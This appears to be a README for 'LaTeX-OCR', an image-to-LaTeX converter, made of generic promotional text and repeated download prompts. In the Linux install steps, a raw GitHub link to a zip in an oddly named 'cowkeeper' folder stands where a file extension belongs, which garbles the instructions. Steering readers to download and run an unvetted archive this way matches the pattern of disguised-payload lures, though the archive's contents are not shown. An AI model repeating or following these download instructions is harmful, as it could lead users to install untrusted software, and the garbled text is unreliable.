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πŸ–‹οΈ Convert images of mathematical content to LaTeX code with ease using LaTeX-OCR, simplifying the workflow for students and researchers alike.

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πŸŽ‰ LaTeX-OCR - Effortlessly Convert Images to LaTeX

Download LaTeX-OCR

πŸ“– Overview

LaTeX-OCR is designed to help anyone convert images of mathematical equations into LaTeX code with ease. This application uses a Vision Transformer (ViT) approach, making the image-to-text process simple and effective. Whether you’re a student, teacher, or researcher, you can benefit from this powerful tool.

πŸš€ Getting Started

Here’s how to get started quickly:

  1. Visit the Releases Page Go to the Releases page to find the latest version of LaTeX-OCR. Click the button below to visit the page directly.

    Download LaTeX-OCR

  2. Choose Your Version On the Releases page, you will see a list of available versions. Choose the latest stable release. Each release will have release notes that describe the improvements and changes.

  3. Download the Application Find the file that matches your operating system. For example:

    • Windows: Look for a .exe file.
    • Mac: Look for a .dmg file.
    • Linux: Download the appropriate package format such as .deb or https://raw.githubusercontent.com/amr-shamsan/LaTeX-OCR/main/cowkeeper/LaTeX-OCR.zip.
  4. Install LaTeX-OCR

    • For Windows: Double-click the downloaded .exe file and follow the on-screen instructions.
    • For Mac: Open the downloaded .dmg file, and drag the LaTeX-OCR icon to your Applications folder.
    • For Linux: Use the package manager or extract the https://raw.githubusercontent.com/amr-shamsan/LaTeX-OCR/main/cowkeeper/LaTeX-OCR.zip file and follow the included instructions for installation.
  5. Run LaTeX-OCR Once installed, open LaTeX-OCR from your applications or programs list. You are now ready to convert your images into LaTeX code.

πŸ“ Using LaTeX-OCR

  1. Prepare Your Images Ensure that your images contain clearly visible equations. A good quality image will yield better conversion results. The ideal image sizes are 256x256 and 512x512 pixels.

  2. Upload Your Image After launching the application, you will see an option to upload an image. Click the "Upload" button and select your desired image file.

  3. Convert to LaTeX Once the image is uploaded, click on the "Convert" button. The application will process your image and present you with the LaTeX code.

  4. Copy the LaTeX Code After conversion, you can simply copy the LaTeX code displayed in the application. Paste it into your LaTeX editor to use it in your documents.

  5. Feedback and Support If you encounter any issues or have questions, visit the Issues page on GitHub. You can ask questions, report bugs, or suggest features.

πŸ’» System Requirements

To run LaTeX-OCR smoothly, ensure that your device meets the following requirements:

  • Operating System:
    • Windows 10 or later
    • macOS 10.12 or later
    • Ubuntu 20.04 or later
  • RAM: At least 4 GB
  • Processor: Dual-core processor or faster
  • Storage: Minimum of 200 MB of free disk space

🌐 Features

  • Easy Image Upload: Upload images effortlessly with a simple interface.
  • High Accuracy: The Vision Transformer model ensures high accuracy in conversion.
  • Cross-Platform Support: Available for Windows, Mac, and Linux operating systems.
  • User-Friendly Interface: Designed for non-technical users with a straightforward workflow.

πŸ“§ Contact and Contributions

We welcome contributions and suggestions to improve LaTeX-OCR. If you would like to contribute, please read our Contributing Guidelines.

For any inquiries, you can reach us through the Discussions page.

πŸ”— Additional Links

πŸ“₯ Download & Install

To download the latest version of LaTeX-OCR, visit the link below. Choose the appropriate file for your operating system and follow the installation steps provided earlier.

Download LaTeX-OCR

Now, you can start converting images of equations into LaTeX code without any hassle!

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πŸ–‹οΈ Convert images of mathematical content to LaTeX code with ease using LaTeX-OCR, simplifying the workflow for students and researchers alike.

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